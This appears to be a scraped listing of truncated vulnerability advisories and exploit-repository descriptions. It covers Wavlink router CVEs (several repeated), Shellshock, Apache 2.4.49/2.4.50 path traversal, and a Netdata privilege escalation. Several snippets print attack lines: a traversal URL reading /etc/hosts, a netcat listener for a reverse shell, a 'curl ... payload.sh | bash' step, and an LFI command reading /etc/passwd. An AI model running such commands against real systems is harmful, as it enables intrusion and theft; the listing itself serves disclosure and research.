CVE-2026-109108

A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. Such manipulation of the argument Type leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly an...

CVE-2026-109107

A weakness has been identified in Wavlink WL-WN592AX6 250422. Affected by this issue is the function main of the file /cgi-bin/upload.cgi. This manipulation of the argument Cookie causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made availab...

CVE-2026-109108

A security vulnerability exists in Wavlink WL-WN530BE1-A (version 251117) involving OS command injection in the /cgi-bin/uploadVpn.cgi file. The root cause is the improper handling of the Type argument within the popen function, which allows a remote attacker to execute arbitrary commands. Public...

CVE-2026-109107 Wavlink WL-WN592AX6 upload.cgi main null pointer dereference

A weakness has been identified in Wavlink WL-WN592AX6 250422. Affected by this issue is the function main of the file /cgi-bin/upload.cgi. This manipulation of the argument Cookie causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made availab...

EUVD-2026-98338

A weakness has been identified in Wavlink WL-WN592AX6 250422. Affected by this issue is the function main of the file /cgi-bin/upload.cgi. This manipulation of the argument Cookie causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made availab...

CVE-2026-109107

A null pointer dereference vulnerability exists in the Wavlink WL-WN592AX6 (version 250422) device. The flaw is located within the main function of the /cgi-bin/upload.cgi file and is triggered by the manipulation of the Cookie argument. This issue can be exploited remotely to impact the system. ...

copyfail-deconstructed

copyfail-deconstructed Easy-to-understand version of CVE-2026-31431, a privilege escalation technique that allows anybody to become root. The original proof-of-concept is found here: https://github.com/theori-io/copy-fail-CVE-2026-31431, but is heavily compressed and minified so it can have as...

CVE-2024-22752

EaseUS MobiMover 6.0.5 Build 21620 - Insecure Files and Folders Permissions MobiMoverUILaunch.exe suffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the executable file of the service with a binary of his choice under bin folder . The...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 and cve-2021-42013 cve-2021-41773 and cve-2021-42013 batch verification Python script Runtime environment: python3 Usage: python3 poc.py url.txt url.txt contains the URLs to be tested, and URLs with vulnerabilities will be written to success.txt The verification content is very...

CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. nc -l -p 4444 Run python script by the rule below: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

rifiuti2

Introducción Rifiuti2 es una herramienta para analizar archivos INFO2 de la Papelera de Reciclaje de Windows. El análisis de la Papelera de Reciclaje de Windows se realiza normalmente durante la informática forense en Windows. Rifiuti2 puede extraer la hora de eliminación de archivos, la ruta...

exploitApache

exploitApache exploit for CVE-2021-41773: Path Traversal cgi-bin...

cgi-bin-shellshock

How to use Clone the repository or just copy-paste the one you prefer sudo git clone https://github.com/Gurguii/shellshock.sh Run the script Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp Note: default LPORT is 4444, URL required. If just URL given, it will RCE, else it...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...

Cgi-bin_bash_Reverse

Cgi-binbashReverse POC for CVE-2014-6271 Src:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

AlmaLinux 9.6 [TuxCare] Security Update: go-toolset / golang / golang-bin / golang-docs / golang-misc / etc (ALMALINUX9.6:CLSA-2026:1791734079)

The AlmaLinux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1791734079 advisory. - Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key...

CVE-2021-41773

CVE-2021-41773 POC & Lab For CVE-2021-41773 Setup Lab $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE A python3 script for the CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE requires cgi-bin to be enabled Getting Started Executing program LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t...

cve-2021-41773

Apache 2.4.49 - Path Traversal or Remote Code Execution cve-2021-41773.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.49. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-41773 If CGI-BIN is enabled...